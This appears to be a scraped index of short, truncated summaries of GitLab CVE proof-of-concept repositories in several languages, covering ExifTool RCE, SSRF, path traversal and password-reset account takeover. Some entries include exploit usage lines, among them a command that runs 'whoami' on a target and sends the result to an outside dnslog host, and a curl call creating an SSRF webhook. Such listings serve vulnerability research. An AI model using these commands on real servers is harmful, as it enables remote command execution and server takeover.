CVE-2021-22205

CVE-2021-22205 Из-за того, что GitLab неправильно проверяет файлы изображений, передаваемые парсеру, возникает выполнение команд. Злоумышленник может сконструировать вредоносный запрос и выполнить произвольные команды в целевой системе, что в итоге приводит к захвату сервера GitLab. Поскольку в...

CVE-2021-22205

Воздействие уязвимости Обнаружена проблема в GitLab CE/EE, затрагивающая все версии, начиная с 11.9. GitLab не выполнял надлежащую проверку файлов изображений, передаваемых парсеру, что приводило к удаленному выполнению команд. Продукт уязвимости Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab...

Review.CVE-2023-5612

CVE-2023-5612 – GitLab SSRF via Webhook URL PoC 및 분석 📌 CVE 개요 CVE-ID: CVE-2023-5612 심각도: 높음 CVSS: 8.1 기본 점수 유형: 서버 측 요청 위조 SSRF 구성 요소: GitLab CE/EE 웹훅 영향받는 버전: GitLab CE/EE " \ --data-urlencode "url=http://127.0.0.1:8888" \ http://:8080/api/v4/projects//hooks 🧱 환경 및 설정 root@kitploit: - 테스트용으로 특별히...

CVE-2021-22205

CVE-2021-22205 Preauth RCE через exiftool на Gitlab CE/EE Описание CVE GitLab использует ExifTool для сканирования каждого tiff/jpeg/jpg файла и удаления любых тегов, которые не входят в белый список. Но поскольку ExifTool не использует расширения файлов для определения типа файла, а полагается н...

CVE-2023-2825

CVE-2023-2825 인증되지 않은 디렉토리 트래버설로 인한 파일 읽기. CVE 요약 GitLab CE/EE 16.0.0 버전에만 영향을 주는 문제가 발견되었습니다. 인증되지 않은 악의적인 사용자는 최소 5개 그룹으로 중첩된 공개 프로젝트에 첨부 파일이 존재할 때 경로 트래버설 취약점을 사용하여 서버에서 임의의 파일을 읽을 수 있습니다. 영향을 받는 버전 Gitlab Gitlab 16.0.0 Community Edition Gitlab Gitlab 16.0.0 Enterprise Edition 특이 사항 중첩된 그룹이 있는...

CVE-2023-2825-PoC

CVE-2023-2825-PoC CVE-2023-2825 の概念実証（PoC）です。CVE-2023-2825 は GitLab CE/EE 16.0.0 における任意ファイル読み取りの脆弱性です。 このスクリプトは、有効な GitLab アカウントでログインし、必要な公開ネストグループ構造を作成し、公開プロジェクトを作成し、アタッチメントをアップロードし、脆弱なアップロードパス・トラバーサル動作を利用して GitLab サーバーからターゲットファイルを読み取ります。...

CVE-2021-22205

CVE-2021-22205 Затронутые версии: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Использование root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Получение csrf-token: Через /users/signin получаем csrf-token, затем с помощью предыдущего CVE-2021-22205 poc формируе...

CVE-2021-22205

CVE-2021-22205 설명 - POC for CVE-2021-22205: Gitlab CE/EE RCE 未授权远程代码执行漏洞 POC && EXP - antx에 의해 2021-10-29에 작성됨. 상세 - GitLab CE/EE의 11.9부터 모든 버전에 영향을 미치는 문제가 발견되었습니다. GitLab은 파일 파서에 전달된 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. CVE 심각도 - attackComplexity: LOW - attackVector: NETWORK -...

CVE-2021-22214

CVE-2021-22214 설명 - CVE-2021-22214용 POC: Gitlab CI Lint API 인증되지 않은 SSRF 취약점 - antx가 2021-11-01에 제작함. 상세 - 웹훅의 내부 네트워크 요청이 활성화된 경우, 10.5부터 모든 버전에 영향을 미치는 GitLab CE/EE의 SSRF서버 측 요청 위조 취약점은 등록이 제한된 GitLab 인스턴스에서도 인증되지 않은 공격자가 악용할 수 있었습니다. CVE 심각도 - attackComplexity: HIGH - attackVector: NETWORK...

CVE-2023-2825

CVE-2023-2825 Il 23 maggio 2023 GitLab ha rilasciato la versione 16.0.1 che ha risolto una vulnerabilità critica, CVE-2023-2825, che interessava le versioni Community Edition CE ed Enterprise Edition EE 16.0.0. La vulnerabilità consente a utenti non autenticati di leggere file arbitrari attravers...

gitlab-exploit

gitlab-exploit GitLab CVE-2023-7028 GitLab CVE-2023-7028 La vulnerabilità è stata causata da un bug nel modo in cui GitLab gestiva la verifica dell'email durante la reimpostazione della password. Un attaccante poteva fornire due indirizzi email durante una richiesta di reimpostazione della passwo...

CVE-2026-19478

-b91c1c?style=flat-square CVE-2026-19478 — Nuclei-Vorlage Nicht-destruktive Nuclei-Erkennungsvorlage für CVE-2026-19478 , einen kritischen CVSS 9.4 unauthentifizierten Fehler bei der beliebigen Methodeninvokation in der GitLab GraphQL API, der von GitLab am 17. August 2026 behoben wurde. TL;DR Da...

gitlab-ssrf

SSRF di GitLab Questo repository è una riproduzione di CVE-2018-19571, e di come, quando combinato con un exploit di injection CRLF, può portare all'esecuzione di codice in remoto RCE. Dettagli CVE CVE-2018-19571 GitLab CE/EE, versioni 8.18 fino a 11.x precedenti a 11.3.11, 11.4 precedenti a 11.4...

CVE-2023-7028

CVE-2023-7028 Gitlab CVE-2023-7028: Account Takeover tramite reset della password senza interazioni da parte dell'utente Una vulnerabilità critica in GitLab CE/EE CVE-2023-7028 può essere facilmente sfruttata dagli attaccanti per reimpostare le password degli account utente GitLab. Sebbene...

CVE-2023-7028

CVE-2023-7028 È stato scoperto un problema in GitLab CE/EE che interessa tutte le versioni dalla 16.1 alla 16.1.6 esclusa, dalla 16.2 alla 16.2.9 esclusa, dalla 16.3 alla 16.3.7 esclusa, dalla 16.4 alla 16.4.5 esclusa, dalla 16.5 alla 16.5.6 esclusa, dalla 16.6 alla 16.6.4 esclusa e dalla 16.7 al...

CVE-2023-2825

CVE-2023-2825 - Lettura Arbitraria di File tramite Path Traversal in GitLab CE/EE 16.0.0 Il 23 maggio 2023 GitLab ha rilasciato la versione 16.0.1 che ha risolto una vulnerabilità critica, CVE-2023-2825, che affliggeva le versioni Community Edition CE ed Enterprise Edition EE 16.0.0. La...

CVE-2022-2992

CVE-2022-2992 Esecuzione remota di comandi autenticata in GitLab tramite importazione da GitHub. Una vulnerabilità in GitLab CE/EE che interessa tutte le versioni dalla 11.10 precedenti alla 15.1.6, tutte le versioni a partire dalla 15.2 precedenti alla 15.2.4, tutte le versioni a partire dalla...

CVE-2021-4191-EXPLOIT

CVE-2021-4191 - GitLab-Benutzeraufzählung GitLab ist ein weit verbreitetes webbasiertes DevOps-Lifecycle-Tool, das einen Git-Repository-Manager mit integrierten Funktionen für kontinuierliche Integration, Issue-Tracking, Code-Reviews und mehr bietet. Die GraphQL-API ist eine leistungsstarke...

CVE-2022-1162

CVE-2022-1162 Una password hardcoded è stata impostata per gli account registrati tramite un provider OmniAuth es. OAuth, LDAP, SAML nelle versioni GitLab CE/EE 14.7 precedenti alla 14.7.7, 14.8 precedenti alla 14.8.5 e 14.9 precedenti alla 14.9.2, consentendo agli attaccanti di potenzialmente...

CVE-2022-2992

CVE-2022-2992 Esecuzione remota autenticata di comandi in Gitlab tramite importazione da GitHub. Una vulnerabilità in GitLab CE/EE che interessa tutte le versioni dalla 11.10 precedenti alla 15.1.6, tutte le versioni dalla 15.2 precedenti alla 15.2.4, tutte le versioni dalla 15.3 precedenti alla...